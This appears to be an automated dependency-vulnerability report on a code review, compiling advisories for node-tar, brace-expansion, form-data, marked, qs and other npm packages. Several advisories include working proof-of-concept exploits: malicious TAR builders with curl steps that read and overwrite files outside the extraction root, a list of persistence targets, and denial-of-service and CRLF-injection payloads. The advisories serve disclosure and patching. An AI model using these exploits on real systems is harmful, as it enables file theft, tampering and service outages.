    • ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/mkdir.js:101

As a result, exfil is created inside extraction root but linked to an external file. The PoC confirms shared inode and successful read+write via exfil.

PoC

hardlink.js
Environment used for validation:

  • Node: v25.4.0
  • tar: 7.5.7
  • OS: macOS Darwin 25.2.0
  • Extract options: defaults (tar.extract({ file, cwd }))

Steps:

  1. Prepare/locate a tar module. If require('tar') is not available locally, set TAR_MODULE to an absolute path to a tar package directory.

  2. Run:

TAR_MODULE="$(cd '../tar-audit-setuid - CVE/node_modules/tar' && pwd)" node hardlink.js
  1. Expected vulnerable output (key lines):
same_inode=true
read_ok=true
write_ok=true
result=VULNERABLE

Interpretation:

  • same_inode=true: extracted exfil and external secret are the same file object.
  • read_ok=true: reading exfil leaks external content.
  • write_ok=true: writing exfil modifies external file.

Impact

Vulnerability type:

  • Arbitrary file read/write via archive extraction path confusion and link resolution.

Who is impacted:

  • Any application/service that extracts attacker-controlled tar archives with Node tar defaults.
  • Impact scope is the privileges of the extracting process user.

Potential outcomes:

  • Read sensitive files reachable by the process user.
  • Overwrite writable files outside extraction root.
  • Escalate impact depending on deployment context (keys, configs, scripts, app data).
[ CVE-2026-24842 ] tar 4.4.1

Vulnerability Details

CVSS V3: 8.2
Dependency Path:
tar: 4.4.1 (Transitive)Fix Version: 7.5.7

Summary

node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.

Details

The vulnerability exists in lib/unpack.js. When extracting a hardlink, two functions handle the linkpath differently:

Security check in [STRIPABSOLUTEPATH]:

const entryDir = path.posix.dirname(entry.path);
const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath));
if (resolved.startsWith('../')) { /* block */ }

Hardlink creation in [HARDLINK]:

const linkpath = path.resolve(this.cwd, entry.linkpath);
fs.linkSync(linkpath, dest);

Example: An application extracts a TAR using tar.extract({ cwd: '/var/app/uploads/' }). The TAR contains entry a/b/c/d/x as a hardlink to ../../../../etc/passwd.

  • Security check resolves the linkpath relative to the entry's parent directory: a/b/c/d/ + ../../../../etc/passwd = etc/passwd. No ../ prefix, so it passes.

  • Hardlink creation resolves the linkpath relative to the extraction directory (this.cwd): /var/app/uploads/ + ../../../../etc/passwd = /etc/passwd. This escapes to the system's /etc/passwd.

The security check and hardlink creation use different starting points (entry directory a/b/c/d/ vs extraction directory /var/app/uploads/), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.

PoC

Setup

Create a new directory with these files:

poc/
├── package.json
├── secret.txt          ← sensitive file (target)
├── server.js           ← vulnerable server
├── create-malicious-tar.js
├── verify.js
└── uploads/            ← created automatically by server.js
    └── (extracted files go here)

package.json

{ "dependencies": { "tar": "^7.5.0" } }

secret.txt (sensitive file outside uploads/)

DATABASE_PASSWORD=supersecret123

server.js (vulnerable file upload server)

const http = require('http');
const fs = require('fs');
const path = require('path');
const tar = require('tar');

const PORT = 3000;
const UPLOAD_DIR = path.join(__dirname, 'uploads');
fs.mkdirSync(UPLOAD_DIR, { recursive: true });

http.createServer((req, res) => {
  if (req.method === 'POST' && req.url === '/upload') {
    const chunks = [];
    req.on('data', c => chunks.push(c));
    req.on('end', async () => {
      fs.writeFileSync(path.join(UPLOAD_DIR, 'upload.tar'), Buffer.concat(chunks));
      await tar.extract({ file: path.join(UPLOAD_DIR, 'upload.tar'), cwd: UPLOAD_DIR });
      res.end('Extracted\n');
    });
  } else if (req.method === 'GET' && req.url === '/read') {
    // Simulates app serving extracted files (e.g., file download, static assets)
    const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
    if (fs.existsSync(targetPath)) {
      res.end(fs.readFileSync(targetPath));
    } else {
      res.end('File not found\n');
    }
  } else if (req.method === 'POST' && req.url === '/write') {
    // Simulates app writing to extracted file (e.g., config update, log append)
    const chunks = [];
    req.on('data', c => chunks.push(c));
    req.on('end', () => {
      const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
      if (fs.existsSync(targetPath)) {
        fs.writeFileSync(targetPath, Buffer.concat(chunks));
        res.end('Written\n');
      } else {
        res.end('File not found\n');
      }
    });
  } else {
    res.end('POST /upload, GET /read, or POST /write\n');
  }
}).listen(PORT, () => console.log(`http://localhost:${PORT}`));

create-malicious-tar.js (attacker creates exploit TAR)

const fs = require('fs');

function tarHeader(name, type, linkpath = '', size = 0) {
  const b = Buffer.alloc(512, 0);
  b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108);
  b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124);
  b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136);
  b.write('        ', 148);
  b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48;
  if (linkpath) b.write(linkpath, 157);
  b.write('ustar\x00', 257); b.write('00', 263);
  let sum = 0; for (let i = 0; i < 512; i++) sum += b[i];
  b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148);
  return b;
}

// Hardlink escapes to parent directory's secret.txt
fs.writeFileSync('malicious.tar', Buffer.concat([
  tarHeader('d/', 'dir'),
  tarHeader('d/x', 'link', '../secret.txt'),
  Buffer.alloc(1024)
]));
console.log('Created malicious.tar');

Run

# Setup
npm install
echo "DATABASE_PASSWORD=supersecret123" > secret.txt

# Terminal 1: Start server
node server.js

# Terminal 2: Execute attack
node create-malicious-tar.js
curl -X POST --data-binary @malicious.tar http://localhost:3000/upload

# READ ATTACK: Steal secret.txt content via the hardlink
curl http://localhost:3000/read
# Returns: DATABASE_PASSWORD=supersecret123

# WRITE ATTACK: Overwrite secret.txt through the hardlink
curl -X POST -d "PWNED" http://localhost:3000/write

# Confirm secret.txt was modified
cat secret.txt

Impact

An attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:

Immediate (Read Attack): If the application serves extracted files, attacker can read any file readable by the process.

Conditional (Write Attack): If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.

Remote Code Execution / Server Takeover

Attack Vector Target File Result
SSH Access ~/.ssh/authorized_keys Direct shell access to server
Cron Backdoor /etc/cron.d/*, ~/.crontab Persistent code execution
Shell RC Files ~/.bashrc, ~/.profile Code execution on user login
Web App Backdoor Application .js, .php, .py files Immediate RCE via web requests
Systemd Services /etc/systemd/system/*.service Code execution on service restart
User Creation /etc/passwd (if running as root) Add new privileged user

Data Exfiltration & Corruption

  1. Overwrite arbitrary files via hardlink escape + subsequent write operations
  2. Read sensitive files by creating hardlinks that point outside extraction directory
  3. Corrupt databases and application state
  4. Steal credentials from config files, .env, secrets
[ CVE-2026-23745 ] tar 4.4.1

Vulnerability Details

CVSS V3: 6.1
Dependency Path:
tar: 4.4.1 (Transitive)Fix Version: 7.5.3

Summary

The node-tar library (<= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets.

Details

The vulnerability exists in src/unpack.ts within the [HARDLINK] and [SYMLINK] methods.

1. Hardlink Escape (Arbitrary File Overwrite)

The extraction logic uses path.resolve(this.cwd, entry.linkpath) to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (entry.linkpath) is an absolute path, path.resolve ignores the first argument (this.cwd) entirely and returns the absolute path.

The library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., /etc/passwd) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place.

2. Symlink Poisoning

The extraction logic passes the user-supplied entry.linkpath directly to fs.symlink without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (../../), even when secure extraction defaults are used.

PoC

The following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to /etc/passwd). It then extracts the archive using standard node-tar settings and demonstrates the vulnerability by verifying that the local "secret" file was successfully overwritten.

const fs = require('fs')
const path = require('path')
const tar = require('tar')

const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'

// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')

// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
  path: 'exploit_hard',
  type: 'Link',
  size: 0,
  linkpath: secret 
})
h1.encode()

// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
  path: 'exploit_sym',
  type: 'SymbolicLink',
  size: 0,
  linkpath: targetSym 
})
h2.encode()

// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))

console.log('[*] Extracting malicious tarball...')

// 3. Extract with default secure settings
tar.x({
  cwd: out,
  file: tarFile,
  preservePaths: false
}).then(() => {
  console.log('[*] Verifying payload...')

  // Test Hardlink Overwrite
  try {
    fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
    
    if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
      console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
    } else {
      console.log('[-] Hardlink failed')
    }
  } catch (e) {}

  // Test Symlink Poisoning
  try {
    if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
      console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
    } else {
      console.log('[-] Symlink failed')
    }
  } catch (e) {}
})

Impact

  • Arbitrary File Overwrite: An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files.
  • Remote Code Execution (RCE): In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters out all Link and SymbolicLink tar entries from extracted packages.)
[ CVE-2026-19693 ] extract-zip 1.6.7

Vulnerability Details

CVSS V3: 8.1
Dependency Path:
extract-zip: 1.6.7 (Transitive)

extract-zip through 2.0.1 containment-checks only the parent directory of each archive entry and never the entry's own final path component, so an archive containing two entries with identical names - a symlink whose target is outside the destination, followed by a regular file - writes through the planted symlink and yields an arbitrary file write outside the destination directory.

[ CVE-2026-14257 ] brace-expansion 1.1.11

Vulnerability Details

CVSS V3: 7.5
Dependency Path:
brace-expansion: 1.1.11 (Transitive)Fix Version: 1.1.17

Summary

expand() bounds the number of results it produces (the max option,
100_000 by default) but not their length. By chaining many brace groups,
an attacker keeps the result count under max while making every result grow
with the number of groups. Building max long results — plus the intermediate
arrays combined at each brace group — exhausts memory and crashes the Node
process with an uncatchable out-of-memory error. try/catch around
expand() does not help: the fatal error terminates the process.

A ~7.5 KB input ('{a,b}'.repeat(1500)) is enough to crash a default Node
process.

Details

For N chained brace groups such as '{a,b}'.repeat(N):

  • the result count is 2^N, immediately capped at max (100_000), so the
    max protection appears to hold, but
  • each result is N characters long, so the total output size is
    max × N characters, which grows without bound in N.

expand_ combines each brace set with the fully-expanded tail:

const post = m.post.length ? expand_(m.post, max, false) : ['']
...
for (let j = 0; j < N.length; j++) {
  for (let k = 0; k < post.length && expansions.length < max; k++) {
    const expansion = pre + N[j] + post[k]   // grows one group longer per level
    ...
    expansions.push(expansion)
  }
}

The loop guard expansions.length < max limits how many strings are built, but
nothing limits how long they get. Each recursion level materializes another
array of up to max strings, one character longer than the level below, and —
because V8 represents pre + N[j] + post[k] as a cons-string (rope) that
references post[k] — those intermediate strings stay reachable through the
whole chain. Memory therefore scales with max × N.

Measured on 5.0.7 ('{a,b}'.repeat(N), default max):

groups (N) input bytes result count peak RSS
20 100 100,000 ~80 MB
50 250 100,000 ~214 MB
100 500 100,000 ~409 MB
300 1,500 100,000 ~1,148 MB
1500 7,500 OOM crash

Proof of concept

const { expand } = require('brace-expansion')

// ~7.5 KB input — crashes the process with a fatal, uncatchable OOM:
//   FATAL ERROR: ... JavaScript heap out of memory
try {
  expand('{a,b}'.repeat(1500))
} catch (e) {
  // never reached — the process is already dead
}

Impact

Any application that passes attacker-influenced strings to
brace-expansion.expand() — directly, or transitively via minimatch / glob
brace patterns — can be crashed by a small request. Because the failure is a
fatal V8 out-of-memory error rather than a thrown exception, it cannot be caught
and it takes down the whole worker/process, denying service.

Remediation

Upgrade to a patched release. The fix bounds the total number of characters a
single expand() call may accumulate (EXPANSION_MAX_LENGTH, default
4_000_000, configurable via a new maxLength option), applied inside the
output-building loops so intermediate arrays are bounded too. Once the limit is
reached, output is truncated — consistent with how max already truncates —
instead of growing without bound. The limit sits well above any realistic
expansion (100,000 results hitting max measure ~1M characters), so legitimate
input is unaffected.

After the fix, '{a,b}'.repeat(1500) returns a bounded, truncated result in
~0.7 s using ~340 MB and never crashes, including under a constrained 512 MB
heap.

The fix bounds memory but the algorithm still rebuilds intermediate arrays at
each level (roughly O(N × maxLength) work on this input class). A streaming
rewrite that produces output in O(total output size) can be a non-urgent
follow-up.

If immediate upgrade isn't possible, avoid passing untrusted input to
expand() / glob brace patterns, or pass a small explicit max and
maxLength.


@buildguy

Copy link
Copy Markdown

📦 Vulnerable Dependencies

🔖 Details

[ CVE-2026-13149 ] brace-expansion 1.1.11

Vulnerability Details

CVSS V3: 5.3
Dependency Path:
brace-expansion: 1.1.11 (Transitive)Fix Version: 1.1.16

Summary

brace-expansion's expand() exhibits exponential-time - O(2ⁿ) - behavior in the number of consecutive non-expanding {} groups. A short, all-ASCII input (~90 bytes/30 groups) blocks the calling thread for minutes; a slightly longer input hangs it effectively indefinitely. Because the dominant consumers run on Node's single-threaded event loop, one small input can fully stall a worker/process.

In expand_, post is computed unconditionally at the top of the function, before the early-return branches that don't use it:

const post = m.post.length ? expand_(m.post, max, false) : [''];   // always recurses
  ...
if (!isSequence && !isOptions) {
  if (m.post.match(/,(?!,).*\}/)) {
    str = m.pre + '{' + m.body + escClose + m.post;
    return expand_(str, max, true); // restart — `post` discarded
  }
  return [str];
}

For input like a{},{},…, the first {} is non-expanding, so control reaches the {a},b} rewrite branch - but expand_ has already recursed into post over the entire remaining tail, only to throw the result away.
Each level therefore spawns two recursive expansions over essentially the same remaining work: T(n) = 2·T(n−1) ⇒ O(2ⁿ).

The max option does not mitigate this: max only bounds the output-building loops; neither the post recursion nor the rewrite recursion consults it.

Measured on 5.0.6:

groups (n) input bytes time
20 60 130 ms
24 72 1.9 s
26 78 7.8 s
30 (PoC) 90 ~2 min

Proof of concept

const { expand } = require('brace-expansion');
// 30 non-expanding groups, ~90 bytes — blocks for minutes:
expand('a{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{}');

Impact

Any application that passes attacker-influenced strings to brace-expansion.expand() - directly or transitively via minimatch/glob brace patterns - can be driven into a multi-minute-to-indefinite CPU hang by a tiny request, denying service on that thread/process.

Remediation

Upgrade to a patched release. The fix:

  1. Defers computing post until after the early-return branches (and computes it locally in the $-suffix branch), so post is only expanded when a brace set actually expands and the value is used. This alone removes the exponential.
  2. Converts the {a},b} rewrite from recursion to an in-function loop, so a long run of rewrites cannot grow the call stack.

Verified: the PoC drops from ~2 min to 0.55 ms, 5,000 groups complete in ~344 ms, and output is identical to 5.0.6 across a behavioral-equivalence suite (sequences, padding, $-prefix, a{},b}c, {},a}b, x{{a,b}}y, etc.). Post-fix complexity is ~O(n²) on this input class - acceptable for the security fix; a linear rewrite can be a non-urgent follow-up.

If immediate upgrade isn't possible, avoid passing untrusted input to expand() / glob brace patterns, or run such expansion under a timeout/worker.

[ CVE-2026-12143 ] form-data 2.3.3

Vulnerability Details

CVSS V3: 7.5
Dependency Path:
form-data: 2.3.3 (Transitive)Fix Version: 2.5.6

Summary

form-data builds multipart/form-data request bodies. Through v4.0.5, the field name passed to FormData#append and the filename option are concatenated directly into the Content-Disposition header with no escaping of CR (\r), LF (\n), or ". An application that uses untrusted input as a field name or filename therefore lets an attacker terminate the header line and either inject additional headers or smuggle whole additional multipart parts into the request the application forwards to a backend.

This is CWE-93 (CRLF injection). It is a divergence from how browsers and the WHATWG HTML spec serialize form-data (they escape these characters), so the fix is to match that behavior. Severity is conditional: it depends on the consuming application passing attacker-controlled data as a field name or filename. Applications that only use fixed/trusted field names are not affected.

Details

In lib/form_data.js, _multiPartHeader builds the part header as:

'Content-Disposition': ['form-data', 'name="' + field + '"'].concat(contentDisposition || [])

and _getContentDisposition builds filename="' + filename + '"'. Neither escapes control characters, so a \r\n in field/filename ends the header line. The same applies to ", which can break out of the quoted parameter.

Proof of concept

const FormData = require('form-data');
const form = new FormData();
form.append('email"\r\nX-Injected: true\r\nfake="', 'user@example.com');
console.log(form.getBuffer().toString());

Before the fix this emits an injected X-Injected: true header line. A field name that also includes --<boundary> sequences can introduce additional parts (e.g. an extra name="is_admin" field), which a downstream parser accepts as legitimate.

Impact

For an application that uses untrusted field names/filenames:

  • Field injection / override (integrity). Inject or override fields the backend trusts (e.g. is_admin, role) — the primary demonstrated impact.
  • Header injection into the generated multipart part.

Claims of guaranteed privilege escalation, authentication bypass, high confidentiality impact, and availability impact are application-dependent downstream consequences, not properties of form-data itself, and are not demonstrated by the PoC.

Severity

The demonstrated, library-attributable impact is integrity (field/header injection); there is no demonstrated confidentiality disclosure or availability impact in form-data itself, and exploitation requires the consuming app to feed untrusted data into field names/filenames. A Moderate (≈5.3, I:L) rating is also defensible given that precondition.

Patch

Fixed in 4.0.6, 3.0.5, and 2.5.6. Users on older 0.x/1.x/2.x releases should upgrade to 2.5.6 or later.

The fix escapes \r, \n, and " as %0D, %0A, and %22 in field names and filenames, matching the WHATWG HTML multipart/form-data encoding algorithm that browsers implement. This neutralizes the injection while leaving ordinary field names (including name[0], dotted, and unicode names) unchanged.

Workaround

Until upgrading, validate or reject field names/filenames that contain control characters before calling append:

if (/[\r\n]/.test(field)) { throw new Error('invalid field name'); }

Credit

Reported by yueyueL.

[ CVE-2025-69873 ] ajv 5.5.2

Vulnerability Details

CVSS V3: 7.5
Dependency Path:
ajv: 5.5.2 (Transitive)Fix Version: 6.14.0

ajv (Another JSON Schema Validator) through version 8.17.1 is vulnerable to Regular Expression Denial of Service (ReDoS) when the $data option is enabled. The pattern keyword accepts runtime data via JSON Pointer syntax ($data reference), which is passed directly to the JavaScript RegExp() constructor without validation. An attacker can inject a malicious regex pattern (e.g., \"^(a|a)*$\") combined with crafted input to cause catastrophic backtracking. A 31-character payload causes approximately 44 seconds of CPU blocking, with each additional character doubling execution time. This enables complete denial of service with a single HTTP request against any API using ajv with $data: true for dynamic schema validation.

[ CVE-2024-45590 ] body-parser 1.18.3

Vulnerability Details

CVSS V3: 7.5
Dependency Path:
body-parser: 1.18.3 (Transitive)Fix Version: 1.20.3

Impact

body-parser <1.20.3 is vulnerable to denial of service when url encoding is enabled. A malicious actor using a specially crafted payload could flood the server with a large number of requests, resulting in denial of service.

Patches

this issue is patched in 1.20.3

References


[ CVE-2024-4068 ] braces 0.1.5

Vulnerability Details

CVSS V3: 7.5
Dependency Path:
braces: 0.1.5 (Direct)Fix Version: 3.0.3

The NPM package braces fails to limit the number of characters it can handle, which could lead to Memory Exhaustion. In lib/parse.js, if a malicious user sends "imbalanced braces" as input, the parsing will enter a loop, which will cause the program to start allocating heap memory without freeing it at any moment of the loop. Eventually, the JavaScript heap limit is reached, and the program will crash.

[ CVE-2024-4068 ] braces 1.8.5

Vulnerability Details

CVSS V3: 7.5
Dependency Path:
braces: 1.8.5 (Direct)Fix Version: 3.0.3

The NPM package braces fails to limit the number of characters it can handle, which could lead to Memory Exhaustion. In lib/parse.js, if a malicious user sends "imbalanced braces" as input, the parsing will enter a loop, which will cause the program to start allocating heap memory without freeing it at any moment of the loop. Eventually, the JavaScript heap limit is reached, and the program will crash.

[ CVE-2024-4068 ] braces 2.3.2

Vulnerability Details

CVSS V3: 7.5

The NPM package braces fails to limit the number of characters it can handle, which could lead to Memory Exhaustion. In lib/parse.js, if a malicious user sends "imbalanced braces" as input, the parsing will enter a loop, which will cause the program to start allocating heap memory without freeing it at any moment of the loop. Eventually, the JavaScript heap limit is reached, and the program will crash.

[ CVE-2024-39249 ] async 1.5.2

Vulnerability Details

CVSS V3: 7.5
Dependency Path:
async: 1.5.2 (Transitive)Fix Version: 3.2.6

Async <= 2.6.4 and <= 3.2.5 are vulnerable to ReDoS (Regular Expression Denial of Service) while parsing function in autoinject function. NOTE: this is disputed by the supplier because there is no realistic threat model: regular expressions are not used with untrusted input.

[ CVE-2024-39249 ] async 2.6.1

Vulnerability Details

CVSS V3: 7.5

Async <= 2.6.4 and <= 3.2.5 are vulnerable to ReDoS (Regular Expression Denial of Service) while parsing function in autoinject function. NOTE: this is disputed by the supplier because there is no realistic threat model: regular expressions are not used with untrusted input.

[ CVE-2024-38355 ] socket.io 1.7.4

Vulnerability Details

CVSS V3: 7.3
Dependency Path:
socket.io: 1.7.4 (Transitive)Fix Version: 2.5.0

Impact

A specially crafted Socket.IO packet can trigger an uncaught exception on the Socket.IO server, thus killing the Node.js process.

node:events:502
    throw err; // Unhandled 'error' event
    ^

Error [ERR_UNHANDLED_ERROR]: Unhandled error. (undefined)
    at new NodeError (node:internal/errors:405:5)
    at Socket.emit (node:events:500:17)
    at /myapp/node_modules/socket.io/lib/socket.js:531:14
    at process.processTicksAndRejections (node:internal/process/task_queues:77:11) {
  code: 'ERR_UNHANDLED_ERROR',
  context: undefined
}

Affected versions

Version range Needs minor update?
4.6.2...latest Nothing to do
3.0.0...4.6.1 Please upgrade to socket.io@4.6.2 (at least)
2.3.0...2.5.0 Please upgrade to socket.io@2.5.1

Patches

This issue is fixed by socketio/socket.io@15af22f, included in socket.io@4.6.2 (released in May 2023).

The fix was backported in the 2.x branch today: socketio/socket.io@d30630b

Workarounds

As a workaround for the affected versions of the socket.io package, you can attach a listener for the "error" event:

io.on("connection", (socket) => {
  socket.on("error", () => {
    // ...
  });
});

For more information

If you have any questions or comments about this advisory:

  • Open a discussion here

Thanks a lot to Paul Taylor for the responsible disclosure.

References

[ CVE-2023-32695 ] socket.io-parser 2.3.1

Vulnerability Details

CVSS V3: 7.5
Dependency Path:
socket.io-parser: 2.3.1 (Transitive)Fix Version: 3.3.4

Impact

A specially crafted Socket.IO packet can trigger an uncaught exception on the Socket.IO server, thus killing the Node.js process.

TypeError: Cannot convert object to primitive value
       at Socket.emit (node:events:507:25)
       at .../node_modules/socket.io/lib/socket.js:531:14

Patches

A fix has been released today (2023/05/22):

Another fix has been released for the 3.3.x branch:

socket.io version socket.io-parser version Needs minor update?
4.5.2...latest ~4.2.0 (ref) npm audit fix should be sufficient
4.1.3...4.5.1 ~4.1.1 (ref) Please upgrade to socket.io@4.6.x
3.0.5...4.1.2 ~4.0.3 (ref) Please upgrade to socket.io@4.6.x
3.0.0...3.0.4 ~4.0.1 (ref) Please upgrade to socket.io@4.6.x
2.3.0...2.5.0 ~3.4.0 (ref) npm audit fix should be sufficient

Workarounds

There is no known workaround except upgrading to a safe version.

For more information

If you have any questions or comments about this advisory:

  • Open a discussion here

Thanks to @rafax00 for the responsible disclosure.

[ CVE-2022-38900 ] decode-uri-component 0.2.0

Vulnerability Details

CVSS V3: 7.5
Dependency Path:
decode-uri-component: 0.2.0 (Transitive)Fix Version: 0.2.1

decode-uri-component 0.2.0 is vulnerable to Improper Input Validation resulting in DoS.

[ CVE-2022-3517 ] minimatch 3.0.4

Vulnerability Details

CVSS V3: 7.5
Dependency Path:
minimatch: 3.0.4 (Transitive)Fix Version: 3.0.7

A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.

[ CVE-2022-29169 ] useragent 2.3.0

Vulnerability Details

CVSS V3: 7.5
Dependency Path:
useragent: 2.3.0 (Transitive)

Impact

By using specific a RegularExpression an attacker can cause denial of service for the bbb-html5 service.
The useragent library performs checking of device by parsing the input of User-Agent header and lets it go through lookupUserAgent() (alias of useragent.lookup() ). Attackers can abuse this to perform a denial of service by sending a specially-constructed regular expression which triggers excessive processing within the regular expression engine.

Patches

Given the limited use of the html5client/useragent endpoint, we have opted to remove it from the code altogether. Its use for Legacy client checks has transitioned to using a different library months ago. BigBlueButton's documentation has been updated to point to a different online service to find one's user agent.

Patch in BigBlueButton 2.3.19
Patch in BigBlueButton 2.4.7
Patch in BigBlueButton 2.5.0-beta.2

Workarounds

If you are not able to upgrade to a patched version, you can eliminate the attack surface by disabling NginX forwarding the requests to the handler. Add the following block to your NginX configuration.

location /html5client/useragent {
  return 404;
}

For BigBlueButton 2.3 or 2.4 a good place to add this block would be in /etc/bigbluebutton/nginx/
For BigBlueButton 2.5 a good place to add this block would be in /usr/share/bigbluebutton/nginx/

Reload via sudo systemctl reload nginx

Test this change by navigating to <yourserver.com>/html5client/useragent -- if you see 404, the workaround is active.

For more information

If you have any questions or comments about this advisory:

Credits

We would like to thank Giang. Võ Quý from VNG Corporation for responsibly disclosing and assisting with the fixing of this security issue.

[ CVE-2022-25883 ] semver 5.5.0

Vulnerability Details

CVSS V3: 7.5
Dependency Path:
semver: 5.5.0 (Transitive)Fix Version: 5.7.2

Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

[ CVE-2022-25883 ] semver 4.3.6

Vulnerability Details

CVSS V3: 7.5
Dependency Path:
semver: 4.3.6 (Transitive)Fix Version: 5.7.2

Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

[ CVE-2022-24999 ] qs 6.5.2

Vulnerability Details

CVSS V3: 7.5
Dependency Path:
qs: 6.5.2 (Transitive)Fix Version: 6.5.3

qs before 6.10.3 allows attackers to cause a Node process hang because an __ proto__ key can be used. In many typical web framework use cases, an unauthenticated remote attacker can place the attack payload in the query string of the URL that is used to visit the application, such as a[__proto__]=b&a[__proto__]&a[length]=100000000. The fix was backported to qs 6.9.7, 6.8.3, 6.7.3, 6.6.1, 6.5.3, 6.4.1, 6.3.3, and 6.2.4.

[ CVE-2022-21681 ] marked 0.3.19

Vulnerability Details

CVSS V3: 7.5
Dependency Path:
marked: 0.3.19 (Transitive)Fix Version: 4.2.6

Impact

What kind of vulnerability is it?

Denial of service.

The regular expression inline.reflinkSearch may cause catastrophic backtracking against some strings.
PoC is the following.

import * as marked from 'marked';

console.log(marked.parse(`[x]: x

\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](`));

Who is impacted?

Anyone who runs untrusted markdown through marked and does not use a worker with a time limit.

Patches

Has the problem been patched?

Yes

What versions should users upgrade to?

4.0.10

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

Do not run untrusted markdown through marked or run marked on a worker thread and set a reasonable time limit to prevent draining resources.

References

Are there any links users can visit to find out more?

For more information

If you have any questions or comments about this advisory:

[ CVE-2022-21680 ] marked 0.3.19

Vulnerability Details

CVSS V3: 7.5
Dependency Path:
marked: 0.3.19 (Transitive)Fix Version: 4.2.6

Impact

What kind of vulnerability is it?

Denial of service.

The regular expression block.def may cause catastrophic backtracking against some strings.
PoC is the following.

import * as marked from "marked";

marked.parse(`[x]:${' '.repeat(1500)}x ${' '.repeat(1500)} x`);

Who is impacted?

Anyone who runs untrusted markdown through marked and does not use a worker with a time limit.

Patches

Has the problem been patched?

Yes

What versions should users upgrade to?

4.0.10

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

Do not run untrusted markdown through marked or run marked on a worker thread and set a reasonable time limit to prevent draining resources.

References

Are there any links users can visit to find out more?

For more information

If you have any questions or comments about this advisory:

[ CVE-2021-43138 ] async 2.6.1

Vulnerability Details

CVSS V3: 7.8

A vulnerability exists in Async through 3.2.1 for 3.x and through 2.6.3 for 2.x (fixed in 3.2.2 and 2.6.4), which could let a malicious user obtain privileges via the mapValues() method.

[ CVE-2021-37713 ] tar 4.4.1

Vulnerability Details

CVSS V3: 8.6
Dependency Path:
tar: 4.4.1 (Transitive)Fix Version: 4.4.18

Impact

Arbitrary File Creation, Arbitrary File Overwrite, Arbitrary Code Execution

node-tar aims to guarantee that any file whose location would be outside of the extraction target directory is not extracted. This is, in part, accomplished by sanitizing absolute paths of entries within the archive, skipping archive entries that contain .. path portions, and resolving the sanitized paths against the extraction target directory.

This logic was insufficient on Windows systems when extracting tar files that contained a path that was not an absolute path, but specified a drive letter different from the extraction target, such as C:some\path. If the drive letter does not match the extraction target, for example D:\extraction\dir, then the result of path.resolve(extractionDirectory, entryPath) would resolve against the current working directory on the C: drive, rather than the extraction target directory.

Additionally, a .. portion of the path could occur immediately after the drive letter, such as C:../foo, and was not properly sanitized by the logic that checked for .. within the normalized and split portions of the path.

This only affects users of node-tar on Windows systems.

Patches

4.4.18 || 5.0.10 || 6.1.9

Workarounds

There is no reasonable way to work around this issue without performing the same path normalization procedures that node-tar now does.

Users are encouraged to upgrade to the latest patched versions of node-tar, rather than attempt to sanitize paths themselves.

Fix

The fixed versions strip path roots from all paths prior to being resolved against the extraction target folder, even if such paths are not "absolute".

Additionally, a path starting with a drive letter and then two dots, like c:../, would bypass the check for .. path portions. This is checked properly in the patched versions.

